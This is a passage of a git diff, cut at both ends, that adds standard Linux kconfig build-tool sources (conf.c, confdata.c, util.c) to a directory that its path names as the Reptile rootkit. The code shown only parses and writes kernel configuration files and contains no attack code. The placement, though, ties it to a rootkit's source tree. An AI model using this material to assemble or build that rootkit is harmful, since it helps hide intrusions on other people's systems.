"allno.config"; break; + case allyesconfig: name = "allyes.config"; break; + case allmodconfig: name = "allmod.config"; break; + case alldefconfig: name = "alldef.config"; break; + case randconfig: name = "allrandom.config"; break; + default: break; + } + if (conf_read_simple(name, S_DEF_USER) && + conf_read_simple("all.config", S_DEF_USER)) { + fprintf(stderr, + _("*** KCONFIG_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"), + name); + exit(1); + } + break; + default: + break; + } + + if (sync_kconfig) { + if (conf_get_changed()) { + name = getenv("KCONFIG_NOSILENTUPDATE"); + if (name && *name) { + fprintf(stderr, + _("\n*** The configuration requires explicit update.\n\n")); + return 1; + } + } + valid_stdin = tty_stdio; + } + + switch (input_mode) { + case allnoconfig: + conf_set_all_new_symbols(def_no); + break; + case allyesconfig: + conf_set_all_new_symbols(def_yes); + break; + case allmodconfig: + conf_set_all_new_symbols(def_mod); + break; + case alldefconfig: + conf_set_all_new_symbols(def_default); + break; + case randconfig: + /* Really nothing to do in this loop */ + while (conf_set_all_new_symbols(def_random)) ; + break; + case defconfig: + conf_set_all_new_symbols(def_default); + break; + case savedefconfig: + break; + case oldaskconfig: + rootEntry = &rootmenu; + conf(&rootmenu); + input_mode = silentoldconfig; + /* fall through */ + case oldconfig: + case listnewconfig: + case olddefconfig: + case silentoldconfig: + /* Update until a loop caused no more changes */ + do { + conf_cnt = 0; + check_conf(&rootmenu); + } while (conf_cnt && + (input_mode != listnewconfig && + input_mode != olddefconfig)); + break; + } + + if (sync_kconfig) { + /* silentoldconfig is used during the build so we shall update autoconf. + * All other commands are only used to generate a config. + */ + if (conf_get_changed() && conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + if (conf_write_autoconf()) { + fprintf(stderr, _("\n*** Error during update of the configuration.\n\n")); + return 1; + } + } else if (input_mode == savedefconfig) { + if (conf_write_defconfig(defconfig_file)) { + fprintf(stderr, _("n*** Error while saving defconfig to: %s\n\n"), + defconfig_file); + return 1; + } + } else if (input_mode != listnewconfig) { + if (conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + } + return 0; +} + +/* + * Helper function to facilitate fgets() by Jean Sacren. + */ +void xfgets(char *str, int size, FILE *in) +{ + if (fgets(str, size, in) == NULL) + fprintf(stderr, "\nError in reading or end of file.\n"); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/confdata.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/confdata.c new file mode 100644 index 0000000..5e0a0ac --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/confdata.c @@ -0,0 +1,1239 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf_warning(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static void conf_message(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static const char *conf_filename; +static int conf_lineno, conf_warnings, conf_unsaved; + +const char conf_defname[] = ".defconfig"; + +static void conf_warning(const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); + conf_warnings++; +} + +static void conf_default_message_callback(const char *fmt, va_list ap) +{ + printf("#\n# "); + vprintf(fmt, ap); + printf("\n#\n"); +} + +static void (*conf_message_callback) (const char *fmt, va_list ap) = + conf_default_message_callback; +void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap)) +{ + conf_message_callback = fn; +} + +static void conf_message(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + if (conf_message_callback) + conf_message_callback(fmt, ap); +} + +const char *conf_get_configname(void) +{ + char *name = getenv("BR2_CONFIG"); + + return name ? name : ".config"; +} + +const char *conf_get_autoconfig_name(void) +{ + char *name = getenv("KCONFIG_AUTOCONFIG"); + + return name ? name : "include/config/auto.conf"; +} + +static char *conf_expand_value(const char *in) +{ + struct symbol *sym; + const char *src; + static char res_value[SYMBOL_MAXLENGTH]; + char *dst, name[SYMBOL_MAXLENGTH]; + + res_value[0] = 0; + dst = name; + while ((src = strchr(in, '$'))) { + strncat(res_value, in, src - in); + src++; + dst = name; + while (isalnum(*src) || *src == '_') + *dst++ = *src++; + *dst = 0; + sym = sym_lookup(name, 0); + sym_calc_value(sym); + strcat(res_value, sym_get_string_value(sym)); + in = src; + } + strcat(res_value, in); + + return res_value; +} + +char *conf_get_default_confname(void) +{ + struct stat buf; + static char fullname[PATH_MAX+1]; + char *env, *name; + + name = conf_expand_value(conf_defname); + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + if (!stat(fullname, &buf)) + return fullname; + } + return name; +} + +static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p) +{ + char *p2; + + switch (sym->type) { + case S_TRISTATE: + if (p[0] == 'm') { + sym->def[def].tri = mod; + sym->flags |= def_flags; + break; + } + /* fall through */ + case S_BOOLEAN: + if (p[0] == 'y') { + sym->def[def].tri = yes; + sym->flags |= def_flags; + break; + } + if (p[0] == 'n') { + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + } + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + case S_OTHER: + if (*p != '"') { + for (p2 = p; *p2 && !isspace(*p2); p2++) + ; + sym->type = S_STRING; + goto done; + } + /* fall through */ + case S_STRING: + if (*p++ != '"') + break; + for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { + if (*p2 == '"') { + *p2 = 0; + break; + } + memmove(p2, p2 + 1, strlen(p2)); + } + if (!p2) { + if (def != S_DEF_AUTO) + conf_warning("invalid string found"); + return 1; + } + /* fall through */ + case S_INT: + case S_HEX: + done: + if (sym_string_valid(sym, p)) { + sym->def[def].val = strdup(p); + sym->flags |= def_flags; + } else { + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + } + break; + default: + ; + } + return 0; +} + +#define LINE_GROWTH 16 +static int add_byte(int c, char **lineptr, size_t slen, size_t *n) +{ + char *nline; + size_t new_size = slen + 1; + if (new_size > *n) { + new_size += LINE_GROWTH - 1; + new_size *= 2; + nline = realloc(*lineptr, new_size); + if (!nline) + return -1; + + *lineptr = nline; + *n = new_size; + } + + (*lineptr)[slen] = c; + + return 0; +} + +static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream) +{ + char *line = *lineptr; + size_t slen = 0; + + for (;;) { + int c = getc(stream); + + switch (c) { + case '\n': + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + /* fall through */ + case EOF: + if (add_byte('\0', &line, slen, n) < 0) + goto e_out; + *lineptr = line; + if (slen == 0) + return -1; + return slen; + default: + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + } + } + +e_out: + line[slen-1] = '\0'; + *lineptr = line; + return -1; +} + +int conf_read_simple(const char *name, int def) +{ + FILE *in = NULL; + char *line = NULL; + size_t line_asize = 0; + char *p, *p2; + struct symbol *sym; + int i, def_flags; + + if (name) { + in = zconf_fopen(name); + } else { + struct property *prop; + + name = conf_get_configname(); + in = zconf_fopen(name); + if (in) + goto load; + sym_add_change_count(1); + if (!sym_defconfig_list) { + if (modules_sym) + sym_calc_value(modules_sym); + return 1; + } + + for_all_defaults(sym_defconfig_list, prop) { + if (expr_calc_value(prop->visible.expr) == no || + prop->expr->type != E_SYMBOL) + continue; + name = conf_expand_value(prop->expr->left.sym->name); + in = zconf_fopen(name); + if (in) { + conf_message(_("using defaults found in %s"), + name); + goto load; + } + } + } + if (!in) + return 1; + +load: + conf_filename = name; + conf_lineno = 0; + conf_warnings = 0; + conf_unsaved = 0; + + def_flags = SYMBOL_DEF << def; + for_all_symbols(i, sym) { + sym->flags |= SYMBOL_CHANGED; + sym->flags &= ~(def_flags|SYMBOL_VALID); + if (sym_is_choice(sym)) + sym->flags |= def_flags; + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + if (sym->def[def].val) + free(sym->def[def].val); + /* fall through */ + default: + sym->def[def].val = NULL; + sym->def[def].tri = no; + } + } + + while (compat_getline(&line, &line_asize, in) != -1) { + conf_lineno++; + sym = NULL; + if (line[0] == '#') { + if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) + continue; + p = strchr(line + 2 + strlen(CONFIG_), ' '); + if (!p) + continue; + *p++ = 0; + if (strncmp(p, "is not set", 10)) + continue; + if (def == S_DEF_USER) { + sym = sym_find(line + 2 + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_BOOLEAN; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + default: + ; + } + } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { + p = strchr(line + strlen(CONFIG_), '='); + if (!p) + continue; + *p++ = 0; + p2 = strchr(p, '\n'); + if (p2) { + *p2-- = 0; + if (*p2 == '\r') + *p2 = 0; + } + if (def == S_DEF_USER) { + sym = sym_find(line + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_OTHER; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + if (conf_set_sym_val(sym, def, def_flags, p)) + continue; + } else { + if (line[0] != '\r' && line[0] != '\n') + conf_warning("unexpected data"); + continue; + } +setsym: + if (sym && sym_is_choice_value(sym)) { + struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); + switch (sym->def[def].tri) { + case no: + break; + case mod: + if (cs->def[def].tri == yes) { + conf_warning("%s creates inconsistent choice state", sym->name); + cs->flags &= ~def_flags; + } + break; + case yes: + if (cs->def[def].tri != no) + conf_warning("override: %s changes choice state", sym->name); + cs->def[def].val = sym; + break; + } + cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); + } + } + free(line); + fclose(in); + + if (modules_sym) + sym_calc_value(modules_sym); + return 0; +} + +int conf_read(const char *name) +{ + struct symbol *sym; + int i; + + sym_set_change_count(0); + + if (conf_read_simple(name, S_DEF_USER)) + return 1; + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) + continue; + if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { + /* check that calculated value agrees with saved value */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) + break; + if (!sym_is_choice(sym)) + continue; + /* fall through */ + default: + if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) + continue; + break; + } + } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) + /* no previous value and not saved */ + continue; + conf_unsaved++; + /* maybe print value in verbose mode... */ + } + + for_all_symbols(i, sym) { + if (sym_has_value(sym) && !sym_is_choice_value(sym)) { + /* Reset values of generates values, so they'll appear + * as new, if they should become visible, but that + * doesn't quite work if the Kconfig and the saved + * configuration disagree. + */ + if (sym->visible == no && !conf_unsaved) + sym->flags &= ~SYMBOL_DEF_USER; + switch (sym->type) { + case S_STRING: + case S_INT: + case S_HEX: + /* Reset a string value if it's out of range */ + if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) + break; + sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); + conf_unsaved++; + break; + default: + break; + } + } + } + + sym_add_change_count(conf_warnings || conf_unsaved); + + return 0; +} + +/* + * Kconfig configuration printer + * + * This printer is used when generating the resulting configuration after + * kconfig invocation and `defconfig' files. Unset symbol might be omitted by + * passing a non-NULL argument to the printer. + * + */ +static void +kconfig_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (*value == 'n') { + bool skip_unset = (arg != NULL); + + if (!skip_unset) + fprintf(fp, "# %s%s is not set\n", + CONFIG_, sym->name); + return; + } + break; + default: + break; + } + + fprintf(fp, "%s%s=%s\n", CONFIG_, sym->name, value); +} + +static void +kconfig_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, "#"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } +} + +static struct conf_printer kconfig_printer_cb = +{ + .print_symbol = kconfig_print_symbol, + .print_comment = kconfig_print_comment, +}; + +/* + * Header printer + * + * This printer is used when generating the `include/generated/autoconf.h' file. + */ +static void +header_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: { + const char *suffix = ""; + + switch (*value) { + case 'n': + break; + case 'm': + suffix = "_MODULE"; + /* fall through */ + default: + fprintf(fp, "#define %s%s%s 1\n", + CONFIG_, sym->name, suffix); + } + break; + } + case S_HEX: { + const char *prefix = ""; + + if (value[0] != '0' || (value[1] != 'x' && value[1] != 'X')) + prefix = "0x"; + fprintf(fp, "#define %s%s %s%s\n", + CONFIG_, sym->name, prefix, value); + break; + } + case S_STRING: + case S_INT: + fprintf(fp, "#define %s%s %s\n", + CONFIG_, sym->name, value); + break; + default: + break; + } + +} + +static void +header_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + fprintf(fp, "/*\n"); + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, " *"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } + fprintf(fp, " */\n"); +} + +static struct conf_printer header_printer_cb = +{ + .print_symbol = header_print_symbol, + .print_comment = header_print_comment, +}; + +/* + * Tristate printer + * + * This printer is used when generating the `include/config/tristate.conf' file. + */ +static void +tristate_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + if (sym->type == S_TRISTATE && *value != 'n') + fprintf(fp, "%s%s=%c\n", CONFIG_, sym->name, (char)toupper(*value)); +} + +static struct conf_printer tristate_printer_cb = +{ + .print_symbol = tristate_print_symbol, + .print_comment = kconfig_print_comment, +}; + +static void conf_write_symbol(FILE *fp, struct symbol *sym, + struct conf_printer *printer, void *printer_arg) +{ + const char *str; + + switch (sym->type) { + case S_OTHER: + case S_UNKNOWN: + break; + case S_STRING: + str = sym_get_string_value(sym); + str = sym_escape_string_value(str); + printer->print_symbol(fp, sym, str, printer_arg); + free((void *)str); + break; + default: + str = sym_get_string_value(sym); + printer->print_symbol(fp, sym, str, printer_arg); + } +} + +static void +conf_write_heading(FILE *fp, struct conf_printer *printer, void *printer_arg) +{ + char buf[256]; + + snprintf(buf, sizeof(buf), + "\n" + "Automatically generated file; DO NOT EDIT.\n" + "%s\n", + rootmenu.prompt->text); + + printer->print_comment(fp, buf, printer_arg); +} + +/* + * Write out a minimal config. + * All values that has default values are skipped as this is redundant. + */ +int conf_write_defconfig(const char *filename) +{ + struct symbol *sym; + struct menu *menu; + FILE *out; + + out = fopen(filename, "w"); + if (!out) + return 1; + + sym_clear_all_valid(); + + /* Traverse all menus to find all relevant symbols */ + menu = rootmenu.list; + + while (menu != NULL) + { + sym = menu->sym; + if (sym == NULL) { + if (!menu_is_visible(menu)) + goto next_menu; + } else if (!sym_is_choice(sym)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next_menu; + sym->flags &= ~SYMBOL_WRITE; + /* If we cannot change the symbol - skip */ + if (!sym_is_changable(sym)) + goto next_menu; + /* If symbol equals to default value - skip */ + if (strcmp(sym_get_string_value(sym), sym_get_string_default(sym)) == 0) + goto next_menu; + + /* + * If symbol is a choice value and equals to the + * default for a choice - skip. + * But only if value is bool and equal to "y" and + * choice is not "optional". + * (If choice is "optional" then all values can be "n") + */ + if (sym_is_choice_value(sym)) { + struct symbol *cs; + struct symbol *ds; + + cs = prop_get_symbol(sym_get_choice_prop(sym)); + ds = sym_choice_default(cs); + if (!sym_is_optional(cs) && sym == ds) { + if ((sym->type == S_BOOLEAN) && + sym_get_tristate_value(sym) == yes) + goto next_menu; + } + } + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } +next_menu: + if (menu->list != NULL) { + menu = menu->list; + } + else if (menu->next != NULL) { + menu = menu->next; + } else { + while ((menu = menu->parent)) { + if (menu->next != NULL) { + menu = menu->next; + break; + } + } + } + } + fclose(out); + return 0; +} + +int conf_write(const char *name) +{ + FILE *out; + struct symbol *sym; + struct menu *menu; + const char *basename; + const char *str; + char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1]; + char *env; + + dirname[0] = 0; + if (name && name[0]) { + struct stat st; + char *slash; + + if (!stat(name, &st) && S_ISDIR(st.st_mode)) { + strcpy(dirname, name); + strcat(dirname, "/"); + basename = conf_get_configname(); + } else if ((slash = strrchr(name, '/'))) { + int size = slash - name + 1; + memcpy(dirname, name, size); + dirname[size] = 0; + if (slash[1]) + basename = slash + 1; + else + basename = conf_get_configname(); + } else + basename = name; + } else + basename = conf_get_configname(); + + sprintf(newname, "%s%s", dirname, basename); + env = getenv("KCONFIG_OVERWRITECONFIG"); + if (!env || !*env) { + sprintf(tmpname, "%s.tmpconfig.%d", dirname, (int)getpid()); + out = fopen(tmpname, "w"); + } else { + *tmpname = 0; + out = fopen(newname, "w"); + } + if (!out) + return 1; + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + if (!conf_get_changed()) + sym_clear_all_valid(); + + menu = rootmenu.list; + while (menu) { + sym = menu->sym; + if (!sym) { + if (!menu_is_visible(menu)) + goto next; + str = menu_get_prompt(menu); + fprintf(out, "\n" + "#\n" + "# %s\n" + "#\n", str); + } else if (!(sym->flags & SYMBOL_CHOICE)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next; + sym->flags &= ~SYMBOL_WRITE; + + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } + +next: + if (menu->list) { + menu = menu->list; + continue; + } + if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->next) { + menu = menu->next; + break; + } + } + } + fclose(out); + + if (*tmpname) { + strcat(dirname, basename); + strcat(dirname, ".old"); + rename(newname, dirname); + if (rename(tmpname, newname)) + return 1; + } + + conf_message(_("configuration written to %s"), newname); + + sym_set_change_count(0); + + return 0; +} + +static int conf_split_config(void) +{ + const char *name; + char path[PATH_MAX+1]; + char *s, *d, c; + struct symbol *sym; + struct stat sb; + int res, i, fd; + + name = conf_get_autoconfig_name(); + conf_read_simple(name, S_DEF_AUTO); + + if (chdir("include/config")) + return 1; + + res = 0; + for_all_symbols(i, sym) { + sym_calc_value(sym); + if ((sym->flags & SYMBOL_AUTO) || !sym->name) + continue; + if (sym->flags & SYMBOL_WRITE) { + if (sym->flags & SYMBOL_DEF_AUTO) { + /* + * symbol has old and new value, + * so compare them... + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == + sym->def[S_DEF_AUTO].tri) + continue; + break; + case S_STRING: + case S_HEX: + case S_INT: + if (!strcmp(sym_get_string_value(sym), + sym->def[S_DEF_AUTO].val)) + continue; + break; + default: + break; + } + } else { + /* + * If there is no old value, only 'no' (unset) + * is allowed as new value. + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == no) + continue; + break; + default: + break; + } + } + } else if (!(sym->flags & SYMBOL_DEF_AUTO)) + /* There is neither an old nor a new value. */ + continue; + /* else + * There is an old value, but no new value ('no' (unset) + * isn't saved in auto.conf, so the old value is always + * different from 'no'). + */ + + /* Replace all '_' and append ".h" */ + s = sym->name; + d = path; + while ((c = *s++)) { + c = tolower(c); + *d++ = (c == '_') ? '/' : c; + } + strcpy(d, ".h"); + + /* Assume directory path already exists. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + if (errno != ENOENT) { + res = 1; + break; + } + /* + * Create directory components, + * unless they exist already. + */ + d = path; + while ((d = strchr(d, '/'))) { + *d = 0; + if (stat(path, &sb) && mkdir(path, 0755)) { + res = 1; + goto out; + } + *d++ = '/'; + } + /* Try it again. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + res = 1; + break; + } + } + close(fd); + } +out: + if (chdir("../..")) + return 1; + + return res; +} + +int conf_write_autoconf(void) +{ + struct symbol *sym; + const char *name; + FILE *out, *tristate, *out_h; + int i; + + sym_clear_all_valid(); + + file_write_dep("include/config/auto.conf.cmd"); + + if (conf_split_config()) + return 1; + + out = fopen(".tmpconfig", "w"); + if (!out) + return 1; + + tristate = fopen(".tmpconfig_tristate", "w"); + if (!tristate) { + fclose(out); + return 1; + } + + out_h = fopen(".tmpconfig.h", "w"); + if (!out_h) { + fclose(out); + fclose(tristate); + return 1; + } + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + conf_write_heading(tristate, &tristate_printer_cb, NULL); + + conf_write_heading(out_h, &header_printer_cb, NULL); + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE) || !sym->name) + continue; + + /* write symbol to auto.conf, tristate and header files */ + conf_write_symbol(out, sym, &kconfig_printer_cb, (void *)1); + + conf_write_symbol(tristate, sym, &tristate_printer_cb, (void *)1); + + conf_write_symbol(out_h, sym, &header_printer_cb, NULL); + } + fclose(out); + fclose(tristate); + fclose(out_h); + + name = getenv("KCONFIG_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; + if (rename(".tmpconfig.h", name)) + return 1; + name = getenv("KCONFIG_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; + if (rename(".tmpconfig_tristate", name)) + return 1; + name = conf_get_autoconfig_name(); + /* + * This must be the last step, kbuild has a dependency on auto.conf + * and this marks the successful completion of the previous steps. + */ + if (rename(".tmpconfig", name)) + return 1; + + return 0; +} + +static int sym_change_count; +static void (*conf_changed_callback)(void); + +void sym_set_change_count(int count) +{ + int _sym_change_count = sym_change_count; + sym_change_count = count; + if (conf_changed_callback && + (bool)_sym_change_count != (bool)count) + conf_changed_callback(); +} + +void sym_add_change_count(int count) +{ + sym_set_change_count(count + sym_change_count); +} + +bool conf_get_changed(void) +{ + return sym_change_count; +} + +void conf_set_changed_callback(void (*fn)(void)) +{ + conf_changed_callback = fn; +} + +static bool randomize_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + int cnt, def; + + /* + * If choice is mod then we may have more items selected + * and if no then no-one. + * In both cases stop. + */ + if (csym->curr.tri != yes) + return false; + + prop = sym_get_choice_prop(csym); + + /* count entries in choice block */ + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) + cnt++; + + /* + * find a random value and set it to yes, + * set the rest to no so we have only one set + */ + def = (rand() % cnt); + + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) { + if (def == cnt++) { + sym->def[S_DEF_USER].tri = yes; + csym->def[S_DEF_USER].val = sym; + } + else { + sym->def[S_DEF_USER].tri = no; + } + sym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + sym->flags &= ~SYMBOL_VALID; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID); + + return true; +} + +void set_all_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + + prop = sym_get_choice_prop(csym); + + /* + * Set all non-assinged choice values to no + */ + expr_list_for_each_sym(prop->expr, e, sym) { + if (!sym_has_value(sym)) + sym->def[S_DEF_USER].tri = no; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID | SYMBOL_NEED_SET_CHOICE_VALUES); +} + +bool conf_set_all_new_symbols(enum conf_def_mode mode) +{ + struct symbol *sym, *csym; + int i, cnt, pby, pty, ptm; /* pby: probability of boolean = y + * pty: probability of tristate = y + * ptm: probability of tristate = m + */ + + pby = 50; pty = ptm = 33; /* can't go as the default in switch-case + * below, otherwise gcc whines about + * -Wmaybe-uninitialized */ + if (mode == def_random) { + int n, p[3]; + char *env = getenv("KCONFIG_PROBABILITY"); + n = 0; + while( env && *env ) { + char *endp; + int tmp = strtol( env, &endp, 10 ); + if( tmp >= 0 && tmp <= 100 ) { + p[n++] = tmp; + } else { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + env = (*endp == ':') ? endp+1 : endp; + if( n >=3 ) { + break; + } + } + switch( n ) { + case 1: + pby = p[0]; ptm = pby/2; pty = pby-ptm; + break; + case 2: + pty = p[0]; ptm = p[1]; pby = pty + ptm; + break; + case 3: + pby = p[0]; pty = p[1]; ptm = p[2]; + break; + } + + if( pty+ptm > 100 ) { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + } + bool has_changed = false; + + for_all_symbols(i, sym) { + if (sym_has_value(sym) || (sym->flags & SYMBOL_VALID)) + continue; + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + has_changed = true; + switch (mode) { + case def_yes: + sym->def[S_DEF_USER].tri = yes; + break; + case def_mod: + sym->def[S_DEF_USER].tri = mod; + break; + case def_no: + sym->def[S_DEF_USER].tri = no; + break; + case def_random: + sym->def[S_DEF_USER].tri = no; + cnt = rand() % 100; + if (sym->type == S_TRISTATE) { + if (cnt < pty) + sym->def[S_DEF_USER].tri = yes; + else if (cnt < (pty+ptm)) + sym->def[S_DEF_USER].tri = mod; + } else if (cnt < pby) + sym->def[S_DEF_USER].tri = yes; + break; + default: + continue; + } + if (!(sym_is_choice(sym) && mode == def_random)) + sym->flags |= SYMBOL_DEF_USER; + break; + default: + break; + } + + } + + sym_clear_all_valid(); + + /* + * We have different type of choice blocks. + * If curr.tri equals to mod then we can select several + * choice symbols in one block. + * In this case we do nothing. + * If curr.tri equals yes then only one symbol can be + * selected in a choice block and we set it to yes, + * and the rest to no. + */ + if (mode != def_random) { + for_all_symbols(i, csym) { + if ((sym_is_choice(csym) && !sym_has_value(csym)) || + sym_is_choice_value(csym)) + csym->flags |= SYMBOL_NEED_SET_CHOICE_VALUES; + } + } + + for_all_symbols(i, csym) { + if (sym_has_value(csym) || !sym_is_choice(csym)) + continue; + + sym_calc_value(csym); + if (mode == def_random) + has_changed = randomize_choice_values(csym); + else { + set_all_choice_values(csym); + has_changed = true; + } + } + + return has_changed; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/util.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/util.c new file mode 100644 index 0000000..6e7fbf1 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/util.c @@ -0,0 +1,159 @@ +/* + * Copyright (C) 2002-2005 Roman Zippel + * Copyright (C) 2002-2005 Sam Ravnborg + * + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include "lkc.h" + +/* file already present in list? If not add it */ +struct file *file_lookup(const char *name) +{ + struct file *file; + const char *file_name = sym_expand_string_value(name); + + for (file = file_list; file; file = file->next) { + if (!strcmp(name, file->name)) { + free((void *)file_name); + return file; + } + } + + file = xmalloc(sizeof(*file)); + memset(file, 0, sizeof(*file)); + file->name = file_name; + file->next = file_list; + file_list = file; + return file; +} + +/* write a dependency file as used by kbuild to track dependencies */ +int file_write_dep(const char *name) +{ + struct symbol *sym, *env_sym; + struct expr *e; + struct file *file; + FILE *out; + + if (!name) + name = ".kconfig.d"; + out = fopen("..config.tmp", "w"); + if (!out) + return 1; + fprintf(out, "deps_config := \\\n"); + for (file = file_list; file; file = file->next) { + if (file->next) + fprintf(out, "\t%s \\\n", file->name); + else + fprintf(out, "\t%s\n", file->name); + } + fprintf(out, "\n%s: \\\n" + "\t$(deps_config)\n\n", conf_get_autoconfig_name()); + + expr_list_for_each_sym(sym_env_list, e, sym) { + struct property *prop; + const char *value; + + prop = sym_get_env_prop(sym); + env_sym = prop_get_symbol(prop); + if (!env_sym) + continue; + value = getenv(env_sym->name); + if (!value) + value = ""; + fprintf(out, "ifneq \"$(%s)\" \"%s\"\n", env_sym->name, value); + fprintf(out, "%s: FORCE\n", conf_get_autoconfig_name()); + fprintf(out, "endif\n"); + } + + fprintf(out, "\n$(deps_config): ;\n"); + fclose(out); + rename("..config.tmp", name); + return 0; +} + + +/* Allocate initial growable string */ +struct gstr str_new(void) +{ + struct gstr gs; + gs.s = xmalloc(sizeof(char) * 64); + gs.len = 64; + gs.max_width = 0; + strcpy(gs.s, "\0"); + return gs; +} + +/* Allocate and assign growable string */ +struct gstr str_assign(const char *s) +{ + struct gstr gs; + gs.s = strdup(s); + gs.len = strlen(s) + 1; + gs.max_width = 0; + return gs; +} + +/* Free storage for growable string */ +void str_free(struct gstr *gs) +{ + if (gs->s) + free(gs->s); + gs->s = NULL; + gs->len = 0; +} + +/* Append to growable string */ +void str_append(struct gstr *gs, const char *s) +{ + size_t l; + if (s) { + l = 